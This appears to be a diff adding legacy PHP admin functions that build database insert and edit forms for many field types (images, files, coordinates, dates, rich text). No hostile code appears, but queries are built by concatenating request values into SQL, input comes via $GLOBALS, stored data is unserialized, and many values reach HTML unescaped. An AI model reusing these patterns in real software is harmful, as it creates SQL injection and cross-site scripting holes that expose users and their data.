+ $problem .= '<FONT COLOR="red">ERROR: Invalid "Required" field name "'.$field[3].'" in function call</FONT><BR>';
+ break;
+ }
+ break;
+
+ case "images":
+
+ // Note that the image field is only updated when required so field name is set below along with value
+
+ $out[$outcount]["value"] = "IMAGES Not Available for View at this time";
+ switch( $field[3] )
+ {
+ case "FALSE":
+ if( is_array( ($im_data = $GLOBALS[$field[4]]) ) )
+ {
+ $im_cur = unserialize( $data[$field[0]] ); // Convert existing data to an array
+ $im_new = array();
+ $im_new_num = 0;
+ for( $im_num=0 ; $im_num<count($GLOBALS[$field[0]."_name"]) ; $im_num++ )
+ {
+ // If new image is supplied, store it
+ if( $GLOBALS[$field[0]."_name"][$im_num] != "" )
+ {
+// if( $im_cur[$im_num]['filename'] ) // If there's already an image, delete it before storing the new one
+// delete_image( $im_cur[$im_num]['filename'] );
+ $im_new[$im_new_num]['filename'] = process_image( $GLOBALS[$field[0]][$im_num], $GLOBALS[$field[0]."_name"][$im_num] );
+ $im_new[$im_new_num]['descr'] = $GLOBALS[$field[0].'_DESCR'][$im_num];
+ $im_new[$im_new_num]['align'] = $GLOBALS[$field[0].'_ALIGN'][$im_num];
+ $im_new[$im_new_num]['size'] = $GLOBALS[$field[0].'_SIZE'][$im_num];
+ $im_new_num++;
+ }
+
+
+// // Else, if there's an image in the database and we're deleting
+// elseif( $im_cur[$im_num]['filename'] != "" && isset( $GLOBALS[$field[0]."_DELETE"][$im_num] ) )
+// delete_image( $im_cur[$im_num]['filename'] );
+// elseif( $im_cur[$im_num]['filename'] != "" )
+// {
+// $im_new[$im_new_num]['filename'] = $im_cur[$im_num]['filename'];
+// $im_new[$im_new_num]['descr'] = $GLOBALS[$field[0].'_DESCR'][$im_num];
+// $im_new[$im_new_num]['align'] = $GLOBALS[$field[0].'_ALIGN'][$im_num];
+// $im_new[$im_new_num]['size'] = $GLOBALS[$field[0].'_SIZE'][$im_num];
+// $im_new_num++;
+// }
+
+
+ }
+ $values .= $comma."'".serialize( $im_new )."'";
+ }
+
+ break;
+
+ case "TRUE":
+ case "SUPPLIED":
+ default:
+ $problem .= '<FONT COLOR="red">ERROR: Invalid "Required" field name "'.$field[3].'" in function call</FONT><BR>';
+ break;
+ }
+ break;
+
+ case "file":
+
+ $out[$outcount]["value"] = "FILES Not Available for View at this time";
+ switch( $field[3] )
+ {
+ case "SUPPLIED":
+ $problem .= '<FONT COLOR="red">ERROR: "SUPPLIED" not permitted as option for file input</FONT><BR>';
+ break;
+
+ case "TRUE":
+ if( $GLOBALS[$field[4]."_name"] == "" )
+ $not_supplied .= $field_title_only.": Not Supplied<BR>";
+ // no break; here - falls through to FALSE
+
+ case "FALSE":
+ if( $GLOBALS[$field[4]."_name"] != "" )
+ {
+ if( isset( $f[1] ) && $f[1] != "" && !eregi( ".".$f[1]."$",$GLOBALS[$field[4]."_name"]) )
+ $not_supplied .= $field_title_only.': "'.$GLOBALS[$field[4]."_name"].'" is not correct file type. Must be: '.$f[1]."<BR>";
+ else
+ $values .= $comma."'". file_upload( $GLOBALS[$field[4]], $GLOBALS[$field[4]."_name"], SI_BASE_FILE_PATH )."'";
+ }
+ else
+ $values .= $comma."''";
+ break;
+
+ default:
+ $problem .= '<FONT COLOR="red">ERROR: Invalid "Required" field name "'.$field[3].'" in function call</FONT><BR>';
+ break;
+ }
+ break;
+
+ case "checkbox":
+ if( $GLOBALS[$field[4]] == "on" )
+ {
+ $out[$outcount]["value"] = "Yes";
+ $values .= $comma."'t'";
+ }
+ else
+ {
+ $out[$outcount]["value"] = "No";
+ $values .= $comma."'f'";
+ }
+ break;
+
+ case "bitmap":
+ $out[$outcount]["value"] = "Bitmaps not available for view at this time";
+ $b = 0; // Start with clear bitmap
+ for( $i=0 ; $i<SI_INT_SIZE ; $i++ ) // Bitmaps are based on the size of an integer
+ {
+ if( isset($GLOBALS[$field[4]][$i]) && $GLOBALS[$field[4]][$i] == "on" ) // If checked
+ $b = $b + pow(2,$i); // Set bit
+ }
+
+ $values .= $comma.$b;
+ break;
+
+ default:
+ $ret .= '<FONT COLOR="red">UNKNOWN FIELD TYPE: '.$field[1].' for '.$field[0].'</FONT><BR>';
+ break;
+
+ } // switch( field )
+
+ $comma = ", "; // All subsequent names/values must have a preceeding comma
+
+ $outcount++;
+ } // foreach( field )
+
+ // Replace parameters in Title
+
+ for( $i=0 ; $i<$outcount ; $i++ )
+ {
+ $a_title = ereg_replace( "\\{".$i."\\}", $out[$i]["value"], $a_title );
+ $a_title = ereg_replace( "\\{encode:".$i."\\}", urlencode($out[$i]["value"]), $a_title );
+ }
+
+ $a_title = ereg_replace( "\\{link_params\\}", $link_params, $a_title );
+ $a_title = ereg_replace( "\\{form_params\\}", $form_params, $a_title );
+
+ // Add QuickTip if provided
+
+ if( trim($quick_tip) != '' )
+ $a_title = quick_tip( $a_title, $quick_tip );
+
+ $oid = 0; // Assume we don't get anything
+
+ $ok_to_save = true;
+
+ if( !empty($not_supplied) )
+ {
+ $results .= '
+ <H2>Required fields not supplied</H2><P>
+ <FONT COLOR="red">'.$not_supplied.'</FONT><P>
+ Use "BACK" button on browser, add missing data and resubmit.<P>
+ ';
+ $ok_to_save = false;
+ }
+
+ if( !empty($problem) )
+ {
+ $results .= $problem.'<P>
+ Use "BACK" button on browser, correct problem field, and resubmit.<P>
+ ';
+ $ok_to_save = false;
+ }
+
+ if( $ok_to_save )
+ {
+ $results = ' <P><H2>New data saved.</H2><P>';
+ $qs = "INSERT INTO $table ($names) VALUES ($values);";
+ if( SI_DEBUG >= 1 ) $ret .= "<PRE>admin_add_new_record()[".__LINE__."]: Query String = $qs</PRE><BR>";
+ $oid = db_auto_exec( $qs, $conn_str, FALSE );
+ }
+
+ // Display top of page
+
+ $ret .= '<CENTER>
+ '.$a_title.'
+ ';
+
+ if( empty($view) ) // If there's no spec in $view
+ $ret .= $results;
+ else
+ {
+ for( $i=0 ; $i<$outcount ; $i++ )
+ {
+ $view = ereg_replace( "\\{".$i."\\}", $out[$i]["value"], $view );
+ $view = ereg_replace( "\\{encode:".$i."\\}", urlencode($out[$i]["value"]), $view );
+ }
+ $view = ereg_replace( "\\{results\\}", $results, $view );
+ $view = ereg_replace( "\\{link_params\\}", $link_params, $view );
+ $view = ereg_replace( "\\{form_params\\}", $form_params, $view );
+ $ret .= $view;
+ }
+
+ $ret .= '
+ </CENTER>
+ ';
+
+ if( $oid != 0 )
+ {
+ $d = db_auto_get_row( "SELECT id FROM $table WHERE oid = $oid;", 0, $conn_str );
+ $id = $d['id'];
+ }
+
+ return( array( 'text' => $ret, 'status' => $oid, 'id' => $id ) );
+}
+
+function admin_add_new_record( $table, $conn_str, $fields, $url, $action, $params, $a_title, $view = "", $quick_tip = "" )
+{
+ $r = admin_add_new_record_r( $table, $conn_str, $fields, $url, $action, $params, $a_title, $view, $quick_tip );
+ echo $r['text'];
+ return( $r['status'] );
+}
+
+
+
+
+ // Edit a record
+
+function admin_edit_record_r( $table, $conn_str, $id, $fields, $url, $action,
+ $params, $a_title, $view = "", $options = "", $quick_tip = "" )
+{
+
+ $ret = '';
+
+ $form_name = "admin_new_form";
+ $richtext_used = FALSE;
+
+ // Check for any options
+
+ $borders = strstr( $options, "borders" ) == FALSE ? 0 : 1;
+
+ // Check for additional parameters that are passed
+
+ if( !empty($params) )
+ {
+ $param = explode_trim( "|", $params ); // Separate parameters
+ $link_params = $form_params = "";
+ foreach( $param as $p )
+ {
+ $x = explode_trim( ".", $p ); // Separate Names from Values
+ $link_params .= "&".$x[0]."=".urlencode($x[1]);
+ $form_params .= '<INPUT TYPE="hidden" NAME="'.$x[0].'" VALUE="'.$x[1].'">';
+ }
+ }
+
+
+ // Get the data
+
+ $query_string = "SELECT * FROM ".$table." WHERE id = ".$id.";";
+ if( SI_DEBUG >= 1 ) $ret .= "<PRE>admin_edit_record()[".__LINE__."]: Query String = $query_string</PRE><BR>";
+ $data = db_auto_get_row( $query_string, 0, $conn_str, $fail_mode );
+
+ if( $data )
+ {
+
+ // Break out configuration data
+
+ $field_table = explode_trim( "|", $fields );
+
+ // Don't be surprised if last field is blank
+
+ if( trim($field_table[count($field_table)-1]) == "" )
+ array_pop( $field_table );
+
+ foreach( $field_table as $key => $r )
+ $field_table[$key] = explode_trim( ",", $r );
+
+ // For each field in the result
+
+ $outcount = 0;
+ foreach( $field_table as $field )
+ {
+
+ // Display title fields
+ $out[$outcount]["hidden"] = FALSE;
+
+ // Check for pop-up-tips
+
+ $n = explode_trim( '~', $field[2] );
+
+ $field_name_color = 'black';
+
+ switch( $field[3] )
+ {
+ case "TRUE":
+ case "UNIQUE":
+ $field_name_color = 'red';
+ case "FALSE":
+ case "DISPLAY":
+ case "UNIQUE_NOT_REQ":
+
+ // setup tip display - requires show_QuickTip() and hide_QuickTip() functions from java_functions.js
+
+ if( count($n) > 1 )
+ $out[$outcount]["name"] = quick_tip( '<font color="'.$field_name_color.'">'.$n[0].'</font>', $n[1] );
+ else
+ $out[$outcount]["name"] = '<FONT COLOR="'.$field_name_color.'">'.$field[2].'</FONT>';
+
+ break;
+ case "SUPPLIED":
+ $out[$outcount]["name"] = '<INPUT TYPE="hidden" NAME="'.$field[0].'" VALUE="'.$field[4].'">';
+ break;
+ case "HIDDEN":
+ $out[$outcount]["name"] = '';
+ $out[$outcount]["hidden"] = TRUE;
+ break;
+ default:
+ $out[$outcount]["name"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+ break;
+ }
+
+ // Display input fields
+ $f = explode_trim( ".", $field[1] );
+ switch( $f[0] )
+ {
+ case "password":
+ case "money":
+ case "int":
+ case "text":
+ case "inet":
+ case "url":
+ case "order":
+ case "float":
+ case "fixed":
+ $prefix = "";
+ $s = $f[1];
+ $v = $data[$field[0]];
+ $prefix = "";
+
+ if( $f[0] == "money" ) // If it's money, default to 0.00
+ {
+ $v = sprintf( "%01.2f", $data[$field[0]] );
+ $prefix = "$";
+ }
+
+ if( $f[0] == "fixed" ) // If it's fixed, set precision
+ {
+ $v = sprintf( "%01.".$f[1]."f", $data[$field[0]] );
+ $s = $f[1] + 4;
+ }
+
+ switch( $field[3] )
+ {
+ case "TRUE":
+ case "FALSE":
+ case "UNIQUE":
+ case "UNIQUE_NOT_REQ":
+ if( $f[0] == "password" )
+ {
+ $out[$outcount]["value"] = $prefix.'<INPUT TYPE="password" NAME="'.$field[0].'" SIZE="'.$s.'" VALUE="'.htmlentities($v).'">';
+ $out[$outcount]["value"] .= '  enter again <INPUT TYPE="password" NAME="'.$field[0].'_verify" SIZE="'.$s.'" VALUE="'.htmlentities($v).'">';
+ }
+ else
+ $out[$outcount]["value"] = $prefix.'<INPUT TYPE="text" NAME="'.$field[0].'" SIZE="'.$s.'" VALUE="'.htmlentities($v).'">';
+ break;
+
+ case "HIDDEN":
+ case "DISPLAY":
+ $out[$outcount]["value"] = $prefix.$v;
+ break;
+
+ case "SUPPLIED":
+ $out[$outcount]["value"] = "";
+ break;
+
+ default:
+ $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+ break;
+
+ }
+ break;
+
+ case "lat":
+ $fw = 2;
+ if( $f[1] > 0 )
+ $fw = $f[1];
+
+ switch( $field[3] ) // {required} setting
+ {
+ case "TRUE":
+ case "UNIQUE":
+ case "UNIQUE_NOT_REQ":
+ case "FALSE":
+ case "DISPLAY":
+ $ns = 'N';
+ if( $data[$field[0]] < 0 )
+ {
+ $ns = 'S';
+ $data[$field[0]] = -1 * $data[$field[0]];
+ }
+ $dv = (int) $data[$field[0]];
+ $mv = ( $data[$field[0]] - $dv ) * 60;
+ if( $field[3] != "DISPLAY" )
+ $out[$outcount]["value"] = '<SELECT NAME="'.$field[0].'_NS"><OPTION VALUE="N" '.($ns=='N'?'SELECTED':'').'>North<OPTION VALUE="S" '.($ns=='S'?'SELECTED':'').'>South</SELECT>
+ <INPUT TYPE="text" NAME="'.$field[0].'_DEG" VALUE="'.$dv.'" SIZE="4" MAXLENGTH="2" ALIGN="right">°
+ <INPUT TYPE="text" NAME="'.$field[0].'_MIN" VALUE="'.sprintf( "%01.".$fw."f", $mv ).'" SIZE="'.(3+$fw).'" ALIGN="right">\'';
+ else
+ $out[$outcount]["value"] = '<INPUT TYPE="hidden" NAME="'.$field[0].'" VALUE="'.$data[$field[0]].'">'
+ .sprintf( "<NOBR>%s %d° %01.".$fw."f'</NOBR>", $ns, $dv, $mv );
+ break;
+
+ case "HIDDEN":
+ $out[$outcount]["value"] = '<INPUT TYPE="hidden" NAME="'.$field[0].'" VALUE="'.$data[$field[0]].'">';
+ break;
+
+ case "SUPPLIED":
+ default:
+ $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+ break;
+ }
+ break;
+
+ case "lon":
+ $fw = 2;
+ if( $f[1] > 0 )
+ $fw = $f[1];
+
+ switch( $field[3] ) // {required} setting
+ {
+ case "TRUE":
+ case "UNIQUE":
+ case "UNIQUE_NOT_REQ":
+ case "FALSE":
+ case "DISPLAY":
+ $ns = 'E';
+ if( $data[$field[0]] < 0 )
+ {
+ $ns = 'W';
+ $data[$field[0]] = -1 * $data[$field[0]];
+ }
+ $dv = (int) $data[$field[0]];
+ $mv = ( $data[$field[0]] - $dv ) * 60;
+ if( $field[3] != "DISPLAY" )
+ $out[$outcount]["value"] = '<SELECT NAME="'.$field[0].'_NS"><OPTION VALUE="W" '.($ns=='W'?'SELECTED':'').'>West<OPTION VALUE="E" '.($ns=='E'?'SELECTED':'').'>East</SELECT>
+ <INPUT TYPE="text" NAME="'.$field[0].'_DEG" VALUE="'.$dv.'" SIZE="4" MAXLENGTH="3" ALIGN="right">°
+ <INPUT TYPE="text" NAME="'.$field[0].'_MIN" VALUE="'.sprintf( "%01.".$fw."f", $mv ).'" SIZE="'.(3+$fw).'" ALIGN="right">\'';
+ else
+ $out[$outcount]["value"] = '<INPUT TYPE="hidden" NAME="'.$field[0].'" VALUE="'.$data[$field[0]].'">'
+ .sprintf( "<NOBR>%s %d° %01.".$fw."f'</NOBR>", $ns, $dv, $mv );
+ break;
+
+ case "HIDDEN":
+ $out[$outcount]["value"] = '<INPUT TYPE="hidden" NAME="'.$field[0].'" VALUE="'.$data[$field[0]].'">';
+ break;
+
+ case "SUPPLIED":
+ default:
+ $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+ break;
+ }
+ break;
+
+ case "date":
+
+ $date_f = !empty( $f[1] ) ? time()-$f[1]*86400 : time() ; // Set datestamp of first day to allow
+ $date_t = !empty( $f[2] ) ? time()+$f[2]*86400 : time() ; // Set datestamp of last day to allow
+
+ switch( $field[3] )
+ {
+ case "TRUE":
+ case "FALSE":
+ $out[$outcount]["value"] = calendar_date_select( $data[$field[0]], strtotime($data[$field[0]]), $date_f, $date_t, $form_name, $field[0], $f[3], $f[4] );
+ break;
+
+ case "HIDDEN":
+ case "DISPLAY":
+ $out[$outcount]["value"] = $data[$field[0]];
+ break;
+
+ case "SUPPLIED":
+ $out[$outcount]["value"] = "";
+ break;
+
+ default:
+ $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+ break;
+ }
+ break;
+
+ case "richtext":
+ switch( $field[3] )
+ {
+ case "TRUE":
+ case "FALSE":
+ if( SI_RICHTEXT_TYPE_ENABLED )
+ {
+ if( !$richtext_used )
+ {
+ include_once( SI_BASE_PATH.'/glm_apps/HTMLArea/glm_functions_support.inc' );
+ $richtext_used = TRUE;
+ }
+ $ew = ( trim($f[1]) != "" ? $f[1] : SI_DEFAULT_RICHTEXT_WIDTH );
+ $eh = ( trim($f[2]) != "" ? $f[2] : SI_DEFAULT_RICHTEXT_HEIGHT );
+ htmlarea_add_field( $field[0], $ew, $eh );
+ $out[$outcount]["value"] = '<TABLE BORDER="1" WIDTH="'.$ew.'"><TR><TD><TEXTAREA ID="'.$field[0].'" NAME="'.$field[0].'" COLS="60" ROWS="5">'.rawurldecode( $data[$field[0]] ).'</TEXTAREA></TD></TR></TABLE>';
+ }
+ else
+ $out[$outcount]["value"] = '<TEXTAREA ID="'.$field[0].'" NAME="'.$field[0].'" COLS="60" ROWS="5">'.rawurldecode( $data[$field[0]] ).'</TEXTAREA>';
+ break;
+
+ case "HIDDEN":
+ case "DISPLAY":
+ $out[$outcount]["value"] = $data[$field[0]];
+ break;
+
+ case "SUPPLIED":
+ $out[$outcount]["value"] = "";
+ break;
+
+ default:
+ $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+ break;
+ }
+ break;
+
+ case "textbox":
+ switch( $field[3] )
+ {
+ case "TRUE":
+ case "FALSE":
+ if( isset($f[1]) )
+ {
+ $cols = $f[1];
+ $rows = $f[2];
+ }
+ else
+ {
+ $cols = SI_DEFAULT_TEXTBOX_COLS;
+ $rows = SI_DEFAULT_TEXTBOX_ROWS;
+ }
+ $out[$outcount]["value"] = '<TEXTAREA NAME="'.$field[0].'" COLS="'.$cols.'" ROWS="'.$rows.'">'.$data[$field[0]].'</TEXTAREA>';
+ break;
+
+ case "HIDDEN":
+ case "DISPLAY":
+ $out[$outcount]["value"] = rawurldecode( $data[$field[0]] );
+ break;
+
+ case "SUPPLIED":
+ $out[$outcount]["value"] = "";
+ break;
+
+ default:
+ $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+ break;
+ }
+ break;
+
+ case "multifield": // NOT TESTED multitext.numb_fields.new_line_string
+
+ // THIS FIELD TYPE REQUIRES java_functions.js
+
+ switch( $field[3] )
+ {
+ case "TRUE":
+ case "FALSE":
+ $out[$outcount]["value"] = '<input type="hidden" name="'.$field[0].'_text" id="'.$field[0].'_text" value="'.$f[2].'">
+ <span id="'.$field[0].'_fields">';
+
+ // If there's data, then build existing input lines with data
+ if( ( $x = trim($data[$field[0]]) ) != '' )
+ {
+ $field_data = unserialize( $data[$field[0]] );
+
+ if( $field_data != false && is_array( $field_data ) )
+ {
+ // For each line of inputs
+ for( $i=1 ; $i<=count($field_data) ; $i++ )
+ {
+ $f_line = str_replace( '{line_numb}', $i, $f[2] ); // Set line number in output text
+ // For each input field on the line
+ for( $j=1 ; $j<=$f[1] ; $j++ )
+ $f_line = str_replace( '{field_'.($j).'}', '<input type="text" name="'.$field[0].'_'.$i.'_'.$j.'" id="'.$field[0].'_'.$i.'_'.$j.'" value="'.$field_data[$i-1][$j-1].'" onChange="multi_fields(\''.$field[0].'\',this,'.$f[1].');">', $f_line );
+
+ $out[$outcount]["value"] .= $f_line."\n";
+ }
+ }
+
+ }
+ else
+ $i = 1; // If no data blank line is #1
+
+ // Build 1 spare input line
+ $f_line = str_replace( '{line_numb}', $i, $f[2] ); // Set line number in output text
+ for( $j=1 ; $j<=$f[1] ; $j++ )
+ $f_line = str_replace( '{field_'.$j.'}', '<input type="text" name="'.$field[0].'_'.$i.'_'.$j.'" id="'.$field[0].'_'.$i.'_'.$j.'" value="" onChange="multi_fields(\''.$field[0].'\',this,'.$f[1].');">', $f_line );
+ $out[$outcount]["value"] .= $f_line."\n</span>";
+
+ break;
+
+ case "HIDDEN":
+ case "DISLPLAY":
+ case "SUPPLIED":
+ default:
+ $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+ break;
+
+ }
+ break;
+
+ case "image":
+ switch( $field[3] )
+ {
+ case "TRUE":
+ case "FALSE":
+ $out[$outcount]["value"] = '<TABLE BORDER="1">';
+
+ if( $data[$field[0]] != "" ) // If an image already exists
+ {
+ $out[$outcount]["value"] .= ' <TR>
+ <TD VALIGN="middle"><IMG SRC="'.SI_IMG_THUMB_URL."/".$data[$field[0]].'"></TD>
+ <TD VALIGN="middle">';
+
+ if( $field[3] == "TRUE" ) // If this field is required
+ $out[$outcount]["value"] .= 'This image may be replaced using the input field below.';
+ else
+ $out[$outcount]["value"] .= '<INPUT TYPE="checkbox" NAME="'.$field[0].'_DELETE"> Delete this image';
+
+ $out[$outcount]["value"] .= ' </TD></TR>';
+ }
+
+ $out[$outcount]["value"] .= ' <TR>
+ <TD COLSPAN="2" VALIGN="middle"><INPUT TYPE="file" NAME="'.$field[0].'"></TD>
+ </TR>
+ </TABLE>';
+ break;
+
+ case "HIDDEN":
+ case "DISLPLAY":
+ $out[$outcount]["value"] = '<IMG SRC="'.SI_IMG_THUMB_URL."/".$data[$field[0]].'">';
+ break;
+
+ case "SUPPLIED":
+ $out[$outcount]["value"] = "";
+ break;
+
+ default:
+ $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+ break;
+
+ }
+ break;
+
+ case "multitext": // NOT TESTED multitext.{size}.{spares}
+
+ switch( $field[3] )
+ {
+ case "TRUE":
+ case "FALSE":
+ $out[$outcount]["value"] = '';
+ $txt_num = 0;
+
+ if( ( $x = trim($data[$field[0]]) ) != '' )
+ {
+ $txt_data = unserialize( $data[$field[0]] );
+
+ // Do existing images
+
+ foreach( $txt_data as $txt )
+ {
+ $out[$outcount]["value"] .= '#'.($txt_num+1).' <INPUT TYPE="text" NAME="'.$field[0].'_DESCR['.$im_num.']" SIZE="'.$f[1].'" VALUE="'.$txt_data[$txt_num].'"><BR>';
+ $im_num++;
+ }
+ }
+
+ if( empty($f[1]) )
+ $spare = 2;
+ else
+ $spare = $f[2];
+ for( $i=0 ; $i<$spare ; $i++ )
+ {
+ $out[$outcount]["value"] .= '#'.($txt_num+1).' <INPUT TYPE="text" NAME="'.$field[0].'_DESCR['.$im_num.']" SIZE="'.$f[1].'" VALUE="'.$txt_data[$txt_num].'"><BR>';
+ $im_num++;
+ }
+ break;
+
+ case "HIDDEN":
+ case "DISLPLAY":
+ case "SUPPLIED":
+ default:
+ $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+ break;
+
+ }
+ break;
+
+ case "images":
+
+ switch( $field[3] )
+ {
+ case "TRUE":
+ case "FALSE":
+ $out[$outcount]["value"] = '';
+ $im_num = 0;
+
+ if( ( $x = trim($data[$field[0]]) ) != '' )
+ {
+ $im_data = unserialize( $data[$field[0]] );
+ $im_des = strstr( $f[2], 'descr' );
+ $im_align = strstr( $f[2], 'align' );
+ $im_size = strstr( $f[2], 'size' );
+ if( !empty( $f[3] ) )
+ $im_des_s = $f[3];
+ else
+ $im_des_s = 40;
+ if( !empty( $f[4] ) )
+ $im_des_t = $f[4];
+ else
+ $im_des_t = "Text";
+
+ // Do existing images
+
+ foreach( $im_data as $im )
+ {
+ $out[$outcount]["value"] .= '
+ Image #'.($im_num+1).'<BR>
+ <TABLE BORDER="1">
+ <TR>
+ <TD VALIGN="middle"><IMG SRC="'.SI_IMG_THUMB_URL."/".$im_data[$im_num]['filename'].'"></TD>
+ <TD VALIGN="middle">
+ This image may be replaced using the input field below.<BR>
+ Or you may <INPUT TYPE="checkbox" NAME="'.$field[0].'_DELETE['.$im_num.']"> Delete this image.
+ <P>
+ '.( $im_align ? '
+ Align image
+ <SELECT NAME="'.$field[0].'_ALIGN['.$im_num.']">
+ <OPTION VALUE="Left"'.($im_data[$im_num]['align']=="Left"?" SELECTED":"").'>Left
+ <OPTION VALUE="Right"'.($im_data[$im_num]['align']=="Right"?" SELECTED":"").'>Right
+ <OPTION VALUE="Top"'.($im_data[$im_num]['align']=="Top"?" SELECTED":"").'>Top
+ <OPTION VALUE="Middle"'.($im_data[$im_num]['align']=="Middle"?" SELECTED":"").'>Middle
+ <OPTION VALUE="Bottom"'.($im_data[$im_num]['align']=="Bottom"?" SELECTED":"").'>Bottom
+ </SELECT>
+ ' : '<INPUT TYPE="hidden" NAME="align" VALUE="">' ).'
+ '.( $im_size ? '
+ Size
+ <SELECT NAME="'.$field[0].'_SIZE['.$im_num.']">
+ <OPTION VALUE="Original"'.($im_data[$im_num]['size']=="Original"?" SELECTED":"").'>Original
+ <OPTION VALUE="Resized"'.($im_data[$im_num]['size']=="Resized"?" SELECTED":"").'>Resized (width='.SI_RESIZED_SIZE.')
+ <OPTION VALUE="Midsized"'.($im_data[$im_num]['size']=="Midsized"?" SELECTED":"").'>Midsized (width='.SI_MIDSIZED_SIZE.')
+ <OPTION VALUE="Thumb"'.($im_data[$im_num]['size']=="Thumb"?" SELECTED":"").'>Thumb (width='.SI_THUMB_SIZE.')
+ </SELECT>
+ ' : '<INPUT TYPE="hidden" NAME="size" VALUE="">' ).'
+ </TD>
+ </TR>
+ <TR>
+ <TD COLSPAN="2" VALIGN="middle">Select Image <INPUT TYPE="file" NAME="'.$field[0].'['.$im_num.']"></TD>
+ </TR>
+ '.( $im_des ? '<TR><TD COLSPAN="2">'.$im_des_t.' <INPUT TYPE="text" NAME="'.$field[0].'_DESCR['.$im_num.']" SIZE="'.$im_des_s.'" VALUE="'.$im_data[$im_num]['descr'].'"></TD>' : '' ).'
+ </TABLE>
+ <BR>';
+ $im_num++;
+ }
+ }
+
+ if( empty($f[1]) )
+ $spare = 2;
+ else
+ $spare = $f[1];
+ for( $i=0 ; $i<$spare ; $i++ )
+ {
+ $out[$outcount]["value"] .= '
+ Image #'.($im_num+1).'<BR>
+ <TABLE BORDER="1">
+ <TR>
+ <TD COLSPAN="2" VALIGN="middle"><INPUT TYPE="file" NAME="'.$field[0].'['.$im_num.']">
+ '.( $im_align ? '
+ Align image <SELECT NAME="'.$field[0].'_ALIGN['.$im_num.']">
+ <OPTION VALUE="Left"'.($im_data[$im_num]['align']=="Left"?" SELECTED":"").'>Left
+ <OPTION VALUE="Right"'.($im_data[$im_num]['align']=="Right"?" SELECTED":"").'>Right
+ <OPTION VALUE="Top"'.($im_data[$im_num]['align']=="Top"?" SELECTED":"").'>Top
+ <OPTION VALUE="Middle"'.($im_data[$im_num]['align']=="Middle"?" SELECTED":"").'>Middle
+ <OPTION VALUE="Bottom"'.($im_data[$im_num]['align']=="Bottom"?" SELECTED":"").'>Bottom
+ </SELECT>
+ ' : '<INPUT TYPE="hidden" NAME="align" VALUE="">' ).'
+ '.( $im_align ? '
+ Size
+ <SELECT NAME="'.$field[0].'_SIZE['.$im_num.']">
+ <OPTION VALUE="Original"'.($im_data[$im_num]['size']=="Original"?" SELECTED":"").'>Original
+ <OPTION VALUE="Resized"'.($im_data[$im_num]['size']=="Resized"?" SELECTED":"").'>Resized (width='.SI_RESIZED_SIZE.')
+ <OPTION VALUE="Midsized"'.($im_data[$im_num]['size']=="Midsized"?" SELECTED":"").'>Midsized (width='.SI_MIDSIZED_SIZE.')
+ <OPTION VALUE="Thumb"'.($im_data[$im_num]['size']=="Thumb"?" SELECTED":"").'>Thumb (width='.SI_THUMB_SIZE.')
+ </SELECT>
+ ' : '<INPUT TYPE="hidden" NAME="size" VALUE="">' ).'
+ </TD>
+ </TR>
+ '.( $im_des ? '<TR><TD COLSPAN="2">'.$im_des_t.' <INPUT TYPE="text" NAME="'.$field[0].'_DESCR['.$im_num.']" SIZE="'.$im_des_s.'"></TD>' : '' ).'
+ </TABLE>
+ <BR>';
+ $im_num++;
+ }
+ break;
+
+ case "HIDDEN":
+ case "DISLPLAY":
+ case "SUPPLIED":
+ default:
+ $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+ break;
+
+ }
+ break;
+
+ case "file":
+ switch( $field[3] )
+ {
+ case "TRUE":
+ case "FALSE":
+ $out[$outcount]["value"] = '<TABLE BORDER="1">';
+
+ if( $data[$field[0]] != "" ) // If a file already exists
+ {
+ $out[$outcount]["value"] .= ' <TR>
+ <TD VALIGN="middle">
+ ';
+ if( ereg( 'secure', $f[2] ) )
+ {
+ if( !defined('SI_FILE_SECRET') || SI_FILE_SECRET == '' )
+ {
+ echo '<p><font color="red">ERROR: </font> SI_FILE_SECRET parameter required for <b>file_output_secure()</b><br>
+ SI_FILE_SECRET defined parameter not found or no contents! Please check siteinfo.inc file.<p>';
+ exit;
+ }
+ $file_md5 = md5( $data[$field[0]].SI_FILE_SECRET );
+ $out[$outcount]["value"] .= '<A HREF="'.SI_BASE_URL.'/glm_apps/file_output_secure.phtml?filename='.urlencode($data[$field[0]])
+ .'&md5='.$file_md5.'&path='.urlencode($f[1]).'">'.$data[$field[0]].'</A>';
+ }
+ else
+ $out[$outcount]["value"] .= '<A HREF="'.SI_BASE_FILE_URL.'/'.$data[$field[0]].'">'.$data[$field[0]].'</A>';
+
+ $out[$outcount]["value"] .= '</TD>
+ <TD VALIGN="middle">';
+
+ if( $field[3] == "TRUE" ) // If this field is required
+ $out[$outcount]["value"] .= 'This file may be replaced using the input field below.';
+ else
+ $out[$outcount]["value"] .= '<INPUT TYPE="checkbox" NAME="'.$field[0].'_DELETE"> Delete this file';
+
+ $out[$outcount]["value"] .= ' </TD></TR>';
+ }
+
+ $out[$outcount]["value"] .= ' <TR>
+ <TD COLSPAN="2" VALIGN="middle"><INPUT TYPE="file" NAME="'.$field[0].'"></TD>
+ </TR>
+ </TABLE>';
+ break;
+
+ case "HIDDEN":
+ case "DISLPLAY":
+ $out[$outcount]["value"] = '<A HREF="'.SI_BASE_FILE_URL.'/'.$data[$field[0]].'">'.$data[$field[0]].'</A>';
+ break;
+
+ case "SUPPLIED":
+ $out[$outcount]["value"] = "";
+ break;
+
+ default:
+ $out[$outcount]["value"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+ break;
+
+ }
+ break;
+
+ case "category":
+
+ // If picklist is selected - use that for selection
+
+ if( strstr($f[3],'picklist') )
+ {
+ if( ($nodes = cat_get_nodes($f[1])) )
+ {
+ $out[$outcount]["value"] .= '<SELECT NAME="'.$field[0].'"><OPTION VALUE="">';
+
+ reset($nodes);
+ while( list($key, $val) = each($nodes) )
+ {
+ $out[$outcount]["value"] .= '<OPTION VALUE="'.$val['id'].'"'.($data[$field[0]]==$val['id']?' SELECTED':'').'>';
